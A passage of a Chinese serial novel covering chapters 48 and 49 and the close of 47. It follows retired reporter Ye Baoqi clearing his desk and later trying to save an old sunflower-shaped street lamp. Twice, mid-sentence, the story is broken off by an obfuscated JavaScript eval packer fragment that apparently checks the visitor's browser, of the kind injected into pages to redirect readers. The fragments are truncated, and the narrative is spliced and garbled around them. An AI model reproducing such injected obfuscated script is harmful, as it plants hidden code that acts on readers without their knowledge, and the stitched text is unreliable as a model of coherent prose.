走到自己办公室门口,叶葆启回头看了一眼那条昏暗的走廊。他仿佛听见,从会议室的门缝里,泄露出微弱的声音:电话铃声、交谈声、翻纸声、叹息声...十七年的声波,似乎被那间屋子吸收、储存,如今在寂静中缓缓释放,如同古老的磁带,永远循环播放着未完的对话。 他笑了笑,推门进入自己的办公室。桌上摆着明天的选题策划——关于如何利用新媒体搭建新型政民互动平台。他坐下,打开电脑,光标在空白文档上闪烁。 窗外,内海市的灯光次第亮起,绵延至远方。这座城市的悲欢还在继续,问题还在产生,沟通的渴望永不停歇。他的“听潮”生涯结束了,但记者的使命还在延续——在不同的时代,寻找不同的方式,架设不同的桥梁。 键盘声响起,加入楼里的合奏。新的故事,已经开始。而旧的故事,会在记忆的殿堂里,获得某种永恒。 在按下第一个键的瞬间,叶葆启忽然明白:那间会议室从未真正空过,就像这座城市从未真正沉默。所有的声音都在某处回响,所有的对话都在某处继续。门可以关上,但声波会穿过墙壁,穿过时间,在意想不到的时刻,与新的声音共振。 这,或许就是魔幻现实主义中最真实的部分——过去从未过去,它只是换了一种方式,与现在共存。 48. 第048章 铁笔锈蚀时 2015年6月30日的黄昏,天空呈现出一种熟透了的柿子般的橙红色。叶葆启站在《内海都市报》五层红砖楼的窗前,看见西边天空裂开一道口子,光从那裂缝里倾泻而下,浇在楼下车水马龙的街道上。那些光是有重量的,他二十三年来看过无数次这样的黄昏,每一次都感觉光像麦粒般砸在肩上。 今天是他作为在编记者的最后一个工作日。明天,七月一日,他将满六十周岁,正式退休。这个数字在他舌尖上滚动时,尝起来像一枚生锈的硬币。 办公室的门虚掩着,他听见外面窸窸窣窣的声音——同事们正在准备一场“突袭”。二十三年前,1992年那个雨夜,他抱着纸箱子忐忑地推开这扇门时,地板还是新漆的,散发着刺鼻的气味。如今地板被无数双脚磨出了凹陷,那些凹陷里积淀着二十三年的灰尘、汗水和掉落的头发——他自己的头发,也从浓密乌黑变得稀疏花白。 下午四点半,门被推开了。 第一个进来的是陈秉烛,已经退休七年的老主任。陈秉烛的背驼得更厉害了,像一棵被岁月压弯的枣树。他的手里没有拿任何东西,但叶葆启看见他身后跟着一串影子——那些都是已故的、调离的、消失在时间长河里的老同事们的影子。魔幻的是,在黄昏的光线里,那些影子确实拉得很长,在绿色的水磨石地板上蠕动。 “葆启啊。”陈秉烛的声音像从一口深井里打捞上来的湿漉漉的石头。 接着涌进来一群人:现任群工部主任,一个四十出头、头顶已现荒原的男人;解平生,他的老搭档,右眼在1998年抗洪报道中被树枝戳伤,如今看人时总是斜着;曹东方,因报道化工厂污染被威胁,左耳听力只剩三成。 还有那些他带过的年轻人——如今也已不年轻了。他们的脸叠加在一起,像一本快速翻动的相册,叶葆启能在每张脸上看见自己曾经播下的种子:有人学会了他的追问方式,有人继承了他的书写习惯,有人连拿采访本的姿势都和他一模一样。 “光荣退休”的红色条幅被挂上墙壁时,叶葆启注意到条幅的右下角有一小块暗红色污渍,像凝固的血。1997年,也是这样的条幅,欢送老校对员王师傅时用的就是这一条。王师傅退休三个月后脑溢血去世,条幅被收回仓库,如今又拿了出来。这些物件比人活得长久,它们吸食着人的气息,变得越来越沉重。 陈秉烛第一个握住他的手。老人的手像枯树枝,却出奇地有力。“葆启,你这三十多年...”他顿了顿,眼里泛起浑浊的光,“你记得1994年冬天,咱们去采访矿井塌方吗?” 叶葆启当然记得。那时陈秉烛还是主任,他们坐了八小时拖拉机进山,又在雪地里徒步三小时。塌方的矿井像大地张开的黑色嘴巴,吞没了十七个矿工。家属的哭声在山谷里回荡,被风拉长、扭曲,变成非人非兽的哀嚎。他们采访到半夜,手冻得握不住笔,就用嘴里呵出的热气暖一暖,继续写。 “你写的稿子,”陈秉烛继续说,“让十七个家庭拿到了赔偿。有个寡妇后来给你寄了一袋核桃,记得吗?” “记得。”叶葆启说。其实那袋核桃他并没有吃,分给了办公室的同事。但核桃壳在抽屉里放了很久,偶尔拉开抽屉,能闻到一股山野的气息。 现任主任送上鲜花和纪念品。鲜花是百合,香气浓郁得让人头晕。钢笔礼盒是檀木的,刻着“秉笔直书情系民生”八个字。叶葆启接过盒子时,感觉盒子在手中轻微搏动,像一颗小心脏。他打开一条缝,看见那支钢笔静静地躺着,笔尖闪着冷光——那是一支新笔,还不曾吃过墨水,不曾犁过纸张。 “谢谢。”他说。声音有些哽咽,不是因为感动,而是因为突然涌上来的疲惫——一种积攒了二十三年的疲惫,在这一刻决堤了。 解平生走过来拥抱他。这个独眼老伙计身上有股永远散不去的烟草味和旧纸张的气息。1998年长江抗洪,他们在溃堤处站了三十六个小时,解平生的右眼就是那时受的伤。血顺着脸颊流下来,他只用脏袖子擦了一把,说:“妈的,这下看得更清楚了——用一只眼才能看见真相。”那是解平生说过的最像诗人的话。 曹东方拍他的肩,拍得很重。这个耳朵半聋的男人,如今说话必须很大声,像是要穿过一堵厚厚的墙才能让人听见。“老叶!以后钓鱼去!”他吼道。2005年,曹东方因为报道化工厂污染,接到匿名电话:“再写就让你全家喝污染水。”他没停笔,只是把妻儿送回了老家。报道发表后,工厂被关停,但曹东方的左耳在一个夜晚突然失去了大部分听力。医生说可能是压力太大,也可能是某种未知的毒素。曹东方自己说:“是那些被污染的水鬼捂住了我的耳朵。” 年轻人们围上来,说着感谢和祝福的话。他们的声音混杂在一起,变成嗡嗡的合唱。叶葆启在这合唱中听见了自己二十三年前的声音——年轻、急切、充满确信。那个声音如今藏在他的喉咙深处,已经很久没有出来了。 蛋糕被推出来,上面插着“60”字样的蜡烛。烛光摇曳,在每个人脸上投下跳动的阴影。叶葆启看着那些阴影,突然想起自己报道过的一场火灾——1999年城南老街区失火,烧了十三户人家。他在现场看见一个老妇人对着废墟哭泣,她的脸在消防车旋转的红光中明明灭灭,像一幅破碎的油画。那一刻他明白了,记者的职责就是收集这些明明灭灭的脸,让它们不被遗忘。 吹灭蜡烛时,他许了一个愿:希望自己写过的那些故事,能像这些烛烟一样,升到某个地方,被储存起来。 欢送会结束,同事们陆续离开,留下他一个人整理物品。办公室突然空旷起来,但那些刚刚离去的人的气息还悬在半空,与灰尘共舞。黄昏的最后一道光从西窗斜射进来,光柱中无数尘埃旋转,像微型星系。 他的办公桌用了二十三年。木头是实木的,被岁月盘出了包浆,有些地方被胳膊磨得凹陷下去,正好契合他小臂的弧度。这桌子记得他的体温,记得他伏案写作时的每一次叹息、每一次兴奋的轻敲、每一次愤怒的捶打。 他开始整理抽屉。 第一个抽屉里是采访本。一本挨着一本,按年份排列,从1992年到2015年,二十多本。他抽出一本——1993年的,黑色硬皮,边角已经磨损。翻开,密密麻麻的字迹像蚂蚁军团,爬满每一页。 1993年4月12日,晴。采访城西棚户区拆迁户。李桂花,62岁,丈夫早逝,独子工伤瘫痪。拆迁补偿不够买新房,她说:“我就死在这里,让他们把我埋在这块砖下。” 他记得李桂花。干瘦的老太太,眼睛却亮得吓人。报道发表后,区里重新评估,提高了补偿。李桂花搬走前,托人给他带来一双纳好的鞋垫——粗布,针脚密实,绣着简单的花纹。他没舍得用,收了起来,后来不知所踪。但此刻,当他抚摸着采访本上那些字,鞋垫的触感突然从指尖传来:粗粝、温暖,带着老人手上的茧。 继续翻。 1997年6月30日,那一夜他写了五千字的特稿,写完时天已微亮。走出报社,晨光中的城市安静得像刚经历完一场分娩。他在早点摊喝了碗豆浆,卖豆浆的妇人哼着歌,是邓丽君的《月亮代表我的心》。那一刻,他前所未有地爱这座城市,爱它的肮脏与辉煌,爱它的眼泪与笑容。 采访本一本本翻开,字迹从青涩到成熟,从工整到潦草。有些页面有水渍——是雨水,还是泪水?他分不清。有些页边有茶渍,有烟灰烫出的小洞。这些本子记录着城市的夜晚、百姓的呼声、突发的事件、远方的见闻。它们是时间的琥珀,封存着无数个瞬间。 最厚的一本是2008年的。那一年有大悲大喜:南方雪灾、汶川地震、北京奥运。他在汶川待了二十八天,笔记本里夹着地震废墟的照片、失去亲人的灾民写下的字条、志愿者的联系方式。有一页上,他用红笔写着:“5月19日,全国哀悼日。下午2点28分,鸣笛声响起时,整个灾区的哭声像大地在呜咽。” 那本笔记本的最后一页,贴着奥运火炬在内海传递的照片。照片背面,他写了一行小字:“从废墟到火炬,这个民族在哭泣后依然能奔跑。” 他把采访本整齐地码进一个纸箱。纸箱很快满了,那些本子的重量超出了物理范畴——它们承载着二十三年的记忆,比铅还重。 第二个抽屉里是获奖证书和奖牌。他粗略数了数,一百五十多个。最早的市好新闻奖,证书纸张已经发黄,印章的颜色褪成了淡红。最近的是2014年新闻奖的奖牌,铜质,沉甸甸的。 他抚摸着那些烫金的字,突然笑起来。2001年,他因为揭露医疗黑幕的系列报道获得第一个国家级奖项。颁奖典礼在北京,他穿着借来的西装,站在领奖台上手足无措。回程的火车上,他把奖牌放在小桌板上,看了整整一路。邻座的小孩问:“这是金牌吗?”他说:“不,这是责任。” 如今这些奖牌安静地躺在抽屉里,像冬眠的动物。他把它们放进另一个纸箱,动作很轻,生怕惊醒什么。 第三个抽屉里是读者来信。他保留了一些有代表性的,用橡皮筋捆成几扎。最上面的一封,信封已经泛黄,邮戳模糊,但还能辨认出“甘肃”二字。 是郭熠轩的信。那个1996年因工受伤、求助无门的打工青年。叶葆启的报道让他拿到了赔偿,他送来锦旗,上面绣着“爱国主正义,为民解忧愁”。几年后,郭熠轩寄来这封信,报告近况:开了个小五金店,娶了媳妇,生了个儿子,取名“念恩”。信的最后写道:“叶记者,您是我命里的贵人。我常跟儿子说,长大后要像您一样,帮需要帮助的人。” 叶葆启记得郭熠轩送锦旗那天的情景:年轻人羞涩地笑着,锦旗卷得不太整齐,露出一角红色。那面锦旗后来一直挂在他办公桌对面的墙上,如今已经褪色,红色变成了粉红,金字也不再耀眼。他小心地从墙上取下,锦旗的布料脆弱得几乎一碰就要碎掉。他仔细叠好,放进装信件的纸箱。 下一封信来自吴老师。1999年“螺壳镇小学”事件,危房教室在大雨中坍塌,三名学生受伤。吴老师为了保护学生,自己的腿被砸断。叶葆启的报道推动全市校舍安全大检查,吴老师也得到了更好的治疗。她在信中说:“腿已经不太疼了,只是下雨天会酸麻。但我还在教书,换到了新校舍,明亮得很。孩子们的笑声是最好的止痛药。” 信里夹着一张照片:吴老师坐在轮椅上,被孩子们围着,所有人都笑得灿烂。照片背面用圆珠笔写着:“谢谢您让我们被看见。” 信件一封封整理,纸箱渐渐满起来。这些信件是有温度的,即使在空调房里,他也能感觉到它们散发出的微弱热量。那是人的温度,是感激、是信任、是倾诉的欲望。作为记者,他是一座桥,连接着个体的苦痛与公共的视野。这些信件证明,桥的那一头,确实有人走过来了。 桌角摆着全家福,五十岁生日时拍的。妻子素琴,头发还未全白,笑得温柔;儿子叶舟,那时刚结婚,西装笔挺;儿媳腼腆地笑着;还有刚满月的孙女笑笑,被素琴抱在怀里,一团粉嫩的肉。照片上的他自己,眼角已有深刻的皱纹,但眼神明亮,对未来仍有期待。 五年过去了。素琴的头发白了大半,叶舟当了父亲后稳重了许多,儿媳生了二胎,笑笑已经会上幼儿园、会画画、会搂着他的脖子说“爷爷我最爱你”。时间是一只贪婪的兽,吞食着青春,留下骨骼般坚硬的回忆。 最后,他拿起那支用了十五年的黑色钢笔。笔身已经被磨得光滑,镀层脱落处露出底下的铜色,像伤口结的痂。这支笔写过无数稿件:揭露黑暗的、颂扬光明的、记录平凡的、追问真相的。笔尖劈过叉,他用镊子小心修好;吸墨器老化,他换了新的;笔帽裂过缝,他用胶带缠好继续用。 此刻,钢笔静静地躺在掌心,他能感觉到它的“记忆”。那些被它书写过的文字,那些在深夜流淌的思绪,那些愤怒的颤抖和同情的叹息,都储存在这支笔的金属和塑料里。如果笔会说话,它会讲出多少故事? 他拧开笔身,看见墨囊里还有小半管蓝色墨水。二十三年来,他喝掉的墨水能装满一个浴缸吗?那些墨水变成文字,印在报纸上,被无数人阅读,然后报纸被用来包油条、垫桌脚、卖给收废品的,最终化为纸浆,轮回转世。文字不死,它们只是变换形态。 他将钢笔郑重地放进装采访本的箱子。当笔触碰到那些旧笔记本时,他几乎听见了一声叹息——不知是笔在叹,还是本子在叹。 整理完毕,两个纸箱:一个装满了“历史”(采访本、奖牌),一个装满了“情谊”(信件、照片、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他们一起下楼。楼梯是水泥的,被无数双脚磨出了凹陷。叶葆启记得每一个转角处墙上的污渍:二楼转角有块墨迹,是1995年一个实习生不小心打翻墨水瓶留下的,这些细微的损伤都是时间的纪念碑。 走出报社大楼,夏夜的风温暖宜人,带着烧烤摊的烟火气和行道树的花香。素琴站在路灯下,牵着笑笑的手。笑笑五岁了,扎着两个羊角辫,看见爷爷就挣脱奶奶的手跑过来。 “爷爷!下班啦!”她扑进叶葆启怀里,小身体软软的,带着奶香。 叶葆启抱起孙女,亲了亲她的小脸:“嗯,爷爷今天‘下班’了,以后天天陪笑笑玩,好不好?” “好!”笑笑拍手,然后凑近他耳朵小声说,“爷爷,你的箱子好重,里面装了什么呀?” “装了爷爷的半辈子。”他说。 素琴走过来,接过他臂弯的外套。这个陪伴了他三十七年的女人,没有说话,只是看着他,眼里有温柔的理解。她知道这告别对丈夫意味着什么——不仅是职业的终结,更是一个身份的褪去。从明天起,他不再是“叶记者”,只是“老叶”、“叶爷爷”、“葆启”。 叶舟把箱子放进后备箱,车子是普通的家用轿车,后保险杠有处剐蹭,一直没去修。生活就是这样,充满不完美的细节。 上车前,叶葆启忍不住回头,再次仰望这座五层红砖楼。许多窗户还亮着灯,像无数双不眠的眼睛。在三楼的一扇窗户后,他看见一个模糊的身影正伏案写作——那是谁?也许是刚来的实习生,也许是和他当年一样满怀理想的年轻人。 他知道,在那栋楼里,他的儿子叶舟明天还会回来,坐在另一张办公桌前,继续记录这个城市的悲欢离合。薪火相传,生生不息。这或许就是退休最好的意义:你不是终点,你是链条中的一环,你完成了自己的长度,现在把位置让给下一环。 车子驶入夜色。笑笑在儿童安全座椅上睡着了,嘴角还沾着一点冰淇淋。素琴握着他的手,手心的温度像无声的安慰。 等红灯时,叶葆启看见街边报亭的招牌。《内海都市报》的头版标题在灯光下清晰可见:“地铁三号线明日开通试运行”。这是今天的新闻,明天的历史。而他,已经从历史的记录者,变成了被历史流过的人。 但他不悲伤。记者退休不是死亡的隐喻,而是角色的转换。他还会读报,还会关注这座城市,只是不再以参与者的身份,而是以观察者的从容。 车子拐进小区。家的窗户亮着温暖的黄光。晚饭已经准备好了,生活还在继续,只是换了一种节奏。 进门时,他瞥见书房里那面空着的墙。明天,他会把“爱国主正义,为民解忧愁”的锦旗挂在那里,把获奖证书放进书柜,把采访本排列整齐。那些是他的过去,但不是他的监狱。他会偶尔翻开,回忆,微笑,叹息,然后合上,回到当下的生活。 笑笑在睡梦中呢喃了一句什么。素琴说:“她说‘爷爷讲故事’。” 叶葆启笑了:“好,以后天天给她讲故事。” 他有很多故事。二十三年记者生涯,就是一座故事的矿山。他可以慢慢挖掘,把那些惊心动魄的、温暖动人的、荒诞离奇的故事,讲给孙女听。让这些故事在家庭的小范围内继续流传,这是另一种形式的“薪火相传”。 夜深了,他站在阳台上,看着城市的灯火。远处,报社大楼的轮廓隐在夜色中,只有少数几扇窗还亮着。 他举起手,向着那个方向,轻轻挥了挥。 告别了,我的战场。告别了,我的青春。告别了,铁笔与纸张的岁月。 风吹过,带来远方的声音:可能是救护车的鸣笛,可能是夜市的笑语,可能是情侣的私语,可能是孤独者的叹息。这些声音,曾经是他追逐的线索;如今,它们只是夜晚的一部分,不再需要被记录、被追问、被转化为文字。 他回到屋里,轻轻关上阳台门。书房的桌子上,那支新钢笔躺在檀木盒里,等待着被使用。也许明天,他会用它写点别的东西:给老友的信,给孙女的童话,或者只是抄写一首喜欢的诗。 铁笔会生锈,但文字不朽。记录会停止,但记忆长存。这就是他,一个老记者,在退休之夜的领悟。 而城市,依然在夜色中呼吸,等待着明天的太阳,和新的故事。 49. 第049章 葵光不语照夜行 内海的秋天总是来得仓促。九月才过中旬,解放北路的梧桐就已落了一半叶子。叶葆启退休第四年的这个黄昏,他像往常一样沿人行道慢走,忽然在第七盏路灯下停住了脚步。 那是盏老式葵花灯——铸铁灯柱已锈出深褐纹路,灯头却仍是五十年前的设计:八片铸铁葵花瓣托着乳白玻璃罩,暮色中亮起温润的黄光,光晕洒在斑驳砖地上,恰好圈出一片暖色的圆。 叶葆启仰头看了许久。这灯他经过无数次,今日却觉出异样:那光里似有尘埃旋舞,细看又不是尘埃,倒像极微小的字迹在光柱中沉浮。他眯起老花的眼,竟辨出几个片段——“1987年11月3日,夜归女工在此避雨”“1999年12月31日,跨年情侣相拥于此”“2013年6月8日,高考生蹲灯下查答案”…… “老爷子,看灯呐?” 叶葆启转头,是个穿橙黄反光背心的老路工,正靠在三轮车旁抽烟。见他回头,路工咧嘴笑了,露出被烟熏黄的牙:“这灯有看头。解放北路七盏老葵花灯,这是最后一盏还能亮的了。” 老路工姓陈,在这条路上修了三十八年路灯。 “1979年我来时,这一溜七盏葵花灯才新装两年。”老陈掸了掸烟灰,目光投向渐浓的夜色,“那会儿灯柱刷翠绿漆,葵花瓣是鎏金的,晚上一亮,整条街金灿灿的,洋气得很。” 叶葆启想起什么:“我当年到报社,夜班回家常走这条路。有年冬夜下大雪,就是这第七盏灯下,我碰见个卖烤红薯的老汉,他非塞给我一个红薯,说‘记者同志,你写的那篇菜市场乱收费的报道,替我儿子讨回三百块钱’。” “你说老赵头啊!”老陈眼睛一亮,“他后来不卖红薯了,儿子在南方做生意发了财,接他享福去了。临走前夜,他在这灯柱上系了根红布条——你瞧,还在呢。” 叶葆启俯身细看,灯柱根部真有一缕褪成粉白的布条,几乎与铁锈融为一体。 “这些老灯见的人多了。”老陈踩灭烟头,“我修灯时经常想,要是灯会说话,该讲出多少故事。” 他指着灯头:“最奇的是这第七盏。洪水那夜,整条街断电,就它还亮着——其实我查过,线路早断了。后来有个老婆婆跟我说,那晚她孙子发高烧,医院去不了,她就抱着孩子在灯下坐了一夜。天亮时孩子退了烧,她看见灯罩里有水汽凝成个小人儿形状,像在护着孩子。” 叶葆启心头一动。他想起报社资料室里那些泛黄的群众来信,许多信封地址栏都写着“解放北路葵花灯旁”。那些信件他处理过不少:有投诉路灯太暗的,有感谢深夜亮灯给了安全感的,还有一封1989年的匿名信,说在第七盏灯下捡到钱包归还失主,不求表扬,“只愿灯常亮,好人常行”。 “这些灯……要换了吧?”他问。 “快了。”老陈叹了口气,“下个月就换LED,亮堂,省电。就是……没那味儿了。” 正说着,灯忽然暗了一下,又猛地亮起来,光晕扩大了一圈,把旁边那棵老梧桐的树干也照得清晰。树皮皲裂处,竟隐约显出刻痕——叶葆启凑近看,是两行小字: “1997.3.1阿玲等阿军未至” “2017.3.1阿军终归灯仍在” 字迹一旧一新,相隔整整二十年。 那夜回家后,叶葆启翻箱倒柜找出了一本硬皮笔记本——1992年至1995年他跑城建口时的采访札记。在泛黄的纸页间,他果然找到了关于解放北路葵花灯的记载: “1993年4月15日,访路灯管理所。解放北路七盏葵花灯系1977年安装,由本地老厂‘红星铸造’生产,模具已毁,零件不再有。老师傅言,此灯设计有巧思:灯罩玻璃含特殊矿物质,经年累月吸收日光,夜晚释放时有微弱延续,故断电后仍能亮片刻,百姓谓之‘存光’。” “存光”——这个词让他怔了许久。 接下来一周,叶葆启每天都去第七盏灯下站一会儿。他渐渐发现一些规律:灯在傍晚六点整亮起,光色初时偏白,随着夜深渐转温黄;午夜时分光最柔和,像融化了的琥珀;凌晨四点左右,光会轻微颤动,如同呼吸;清晨六点整熄灭,分秒不差。 更奇的是,不同人在灯下的举止各不相同。 周一晚,他看见个穿校服的中学生蹲在灯柱边哭。孩子肩膀一耸一耸,却不发出声音。哭够了,从书包里掏出试卷,就着灯光改错题。叶葆启想起儿子叶舟高三那年,也曾因为模拟考失利,在某个路灯下蹲到深夜。 周二雨夜,外卖小哥在灯下避雨,手机响了也不接,只盯着屏保照片发呆——是个婴儿的满月照。雨停后,小哥对着灯双手合十拜了拜,才骑上车冲进夜色。 周三凌晨,环卫工大妈扫到灯下时总会歇片刻。她从怀里掏出保温杯,坐在道牙上慢慢喝,仰头看灯的样子,像在看月亮。有次叶葆启听见她喃喃自语:“老伙计,你又陪了我一夜。” 周五晚上最热闹。七八个老人搬着小马扎围坐灯下,拉二胡、唱戏、下棋。其中一个白胡子老头说:“这灯底下冬暖夏凉,邪门得很。”另一个接口:“哪是邪门,是灯记得咱们这些老骨头常来,存着人气儿呢。” 叶葆启用手机录下这些片段。退休后企业请他做文化顾问,他总觉无处着力——那些标语口号式的“企业文化”,远不及这盏老路灯下自然生长的人情世故来得真切。 十月初,工程队的蓝色围挡还是立起来了。告示牌写着:“解放北路照明改造,工期30天。” 老陈那几天脾气特别暴。叶葆启看见他在工地上跟负责人吵:“不能七盏全拆!留一盏,就留第七盏当文物不行吗?” “陈师傅,您这就不讲科学了。”年轻的技术员推推眼镜,“这些老灯耗电量是LED的八倍,光效只有三分之一。再说锈成这样,安全隐患太大了。” “安全安全,你们就知道安全!”老陈脖子都红了,“人心安不安,你们管不管?” 最后妥协方案是:前六盏拆除,第七盏暂时保留,“待专家评估历史价值”。 评估会那天,叶葆启以“老记者、老居民”身份参加了。他带去了那本采访札记,还有这些年拍摄的灯下照片——两百多张,按年份排序: 1988年,灯下摆小人书摊的瘸腿大叔; 1995年,灯柱上贴满寻人启事,有个母亲每天来抚摸照片; 2008年地震后,灯下摆着募捐箱,有个乞丐投进了全部零钱; 2016年冬夜,流浪者在灯下裹着纸板入睡,晨光中环卫工轻轻绕过他…… 会议室里寂静无声。投影仪的光柱中,尘埃飞舞,像极了那夜他在灯下看见的微光字迹。 “这些照片很好。”文物局的老专家扶了扶老花镜,“但文物认定需要实物证据,证明这盏灯有特殊历史价值。光有情感记忆……不够。” 叶葆启忽然站起来:“如果这盏灯本身,就是一部活着的地方志呢?” 他讲起了那个发现——不同人在灯下会看见不同的光,经历不同的人生片段。讲到最后,连他自己都觉得像在说梦话。果然,几个年轻技术员低头憋笑。 散会后,老专家特意慢走几步,等叶葆启跟上来。“叶记者,”他低声说,“我信你的话。1958年,我父亲参与铺设这条路的电缆。他说过一个故事:安装第七盏灯那夜,有个老乞丐在旁看了整晚。第二天工人在灯柱基座里发现个铁盒,盒里有张纸条,写着‘此灯当为夜行人存一寸光,一寸暖’。盒里还有枚民国时期的铜钱,已锈成绿色。” “那铁盒呢?” “当年当作封建迷信处理了。”老专家苦笑,“但我想,有些东西不是迷信——人心需要寄托,城市需要记忆。一盏老灯能成为几代人的共同坐标,这本身就是奇迹。” 工程还是如期推进。前六盏葵花灯被吊车摘下时,发出刺耳的金属呻吟。老陈背对着现场,肩膀在颤抖。 第七盏灯的“缓刑期”只有七天。这七天里,来看灯的人突然多了起来。有人带着相机来拍照,有人只是默默站一会儿,有人抚摸着灯柱上的刻痕流泪。还有个中年妇女牵着盲人母亲来:“妈,这就是我常说的那盏灯。您摸摸,铁是凉的,但灯亮时,这一片地是暖的。” 盲人母亲的手在灯柱上缓缓移动,从基座一直摸到铸铁葵花瓣的纹理。“真好,”她喃喃道,“真好。我眼睛好的时候,最爱看这灯下的影子——长长短短,聚聚散散,像皮影戏。” 叶葆启把这些都记在新买的笔记本上。企业里年轻人看他天天往灯下跑,打趣道:“叶书记,您这是要转行写小说啊?”他认真回答:“我在记录一座城市的良心。” 第六天夜里,下起了秋雨。叶葆启撑伞站在灯下,看着雨丝在光柱中拉出银线。十一点多,一个浑身湿透的年轻人跑来躲雨,靠在灯柱上喘气。 “小伙子,擦擦。”叶葆启递过去纸巾。 年轻人道了谢,忽然说:“大爷,我认识这灯。2008年地震,我家在汶川,被送到内海来安置。那会儿我十岁,天天晚上做噩梦,就跑到这灯下发呆。有天夜里,我看见光里有影子在动,像妈妈在招手……后来我才知道,那是玻璃罩上的雨痕被风吹动。但那以后,我就不怕了。” 他顿了顿:“明天这灯要拆了,我来告个别。” 雨停时已近凌晨。年轻人走后,叶葆启独自站在灯下。雨后的夜空澄澈,星星出来了。路灯的光与星光交融,分不清哪是天上哪是人间。 他忽然想起自己记者生涯中写过最得意的那篇特稿——1994年春节,追踪报道一个寻亲故事。离散四十年的兄妹,最终在第七盏葵花灯下相认,因为妹妹记得“哥哥说好在家门口等,家门口有盏像向日葵的灯”。那篇稿子让他拿了省新闻奖一等奖。 原来这盏灯早就在他的生命里,只是他从未真正看见。 最后一夜,老陈买了两瓶二锅头,拉叶葆启在灯下对饮。 “我修了一辈子灯,修明白一个理儿。”老陈灌了一大口,辣得龇牙咧嘴,“路灯这东西,照的是路,暖的是心。你看着吧,这盏灯就算拆了,它照过的那些路、暖过的那些心,还在。” 夜深时,酒已见底。老陈醉醺醺地指着灯:“老伙计,你再亮亮点儿,让我好好记着。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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叶葆启把这些材料整理成册,题为《一盏灯的编年史》。企业里的年轻人看了,提议:“叶书记,咱们在厂区也装几盏有故事的灯吧?不用多亮,但要暖。” 他们真的做了——在厂区小路边,安了三盏仿制的葵花灯,灯柱上留了空白小铁盒,让员工自愿放字条。半年后打开,铁盒里塞得满满当当:有写给父母的感恩,有给孩子的新年愿望,有对产品质量的承诺,还有小情侣的悄悄话。 儿子叶舟所在的办公室,也在值班室窗外挂了盏小葵花灯。叶葆启去看过,灯下总有人坐着——有时是调解纠纷后冷静的当事人,有时是走失等待家属的老人。光是一样的温黄。 冬天第一场雪那天,叶葆启又路过解放北路。第七盏葵花灯的位置,现在是盏崭新的LED灯。他驻足时,一对老夫妻互相搀扶着走过。 “就是这儿。”老太太指着地面,“以前那盏老葵花灯,就在这儿。” 老爷子眯眼看了看:“亮堂多了。” “是亮堂,”老太太轻声说,“就是……太亮堂了。” 雪花飘下来,落在LED灯冷白的光束里,像无数细小的飞蛾。叶葆启忽然看见,新路灯的金属杆上,不知谁贴了张很小的向日葵贴纸——金黄色的,在雪夜中微微反光。 他笑了。 回到家,书房桌上摊着未完的稿子。他坐下,打开台灯——也是葵花造型的,儿子去年送的父亲节礼物。光洒在稿纸上,他提笔续写: “……城市的光永远在变迁。从油灯到电灯,从钨丝到LED,从单一光源到智能照明。我们追逐更亮、更省、更智慧的光,这没有错。但或许我们该问:在照亮道路的同时,我们是否也照亮了人心?在追求效率的同时,我们是否也为记忆留了位置? “那七盏葵花灯终将成为历史。但灯下发生过的悲欢离合、聚散依依,那些在寒夜中借过一寸暖、在迷茫时借过一缕光的人们——他们本身就是灯,是行走在人间的、不灭的葵花灯。 “因为真正的光从来不在高处。它在夜归人抬头的期盼里,在迷途者瞬间的清醒里,在孤独者感受温暖的刹那,在记忆被忽然点亮的时刻。 “而只要还有人在夜里行走,只要还有心需要照亮,葵花就不会真正凋零。它会以另一种形式开放——在街角,在窗口,在掌心,在眼底。在每一个愿意为他人存一寸光、留一分暖的寻常灵魂里。” 写罢搁笔,夜已深。他走到窗边,望向解放北路的方向。万千灯火流淌成河,分不清哪盏是旧,哪盏是新。 但在他的心里,永远有一盏葵花形状的光,温黄、坚定、存着四十六年的时光与温度,照亮一条看不见的路——那条路从过去伸向未来,路上走着一代又一代夜行人,每个人的影子都被拉得很长,在光中交错、重叠,最终融进更大的光明里。 而这,或许就是一座城市的记忆能够传承的唯一方式:不是固守旧物,而是在新光中认出旧光的魂魄;不是挽留消逝,而是让曾经照亮的继续照亮,以新的名义。 窗外,雪还在下。内海的冬夜安静而深邃。而光——各种形态的光——依然在每一扇未眠的窗前亮着,等待下一个需要它的夜行人。 (全文终)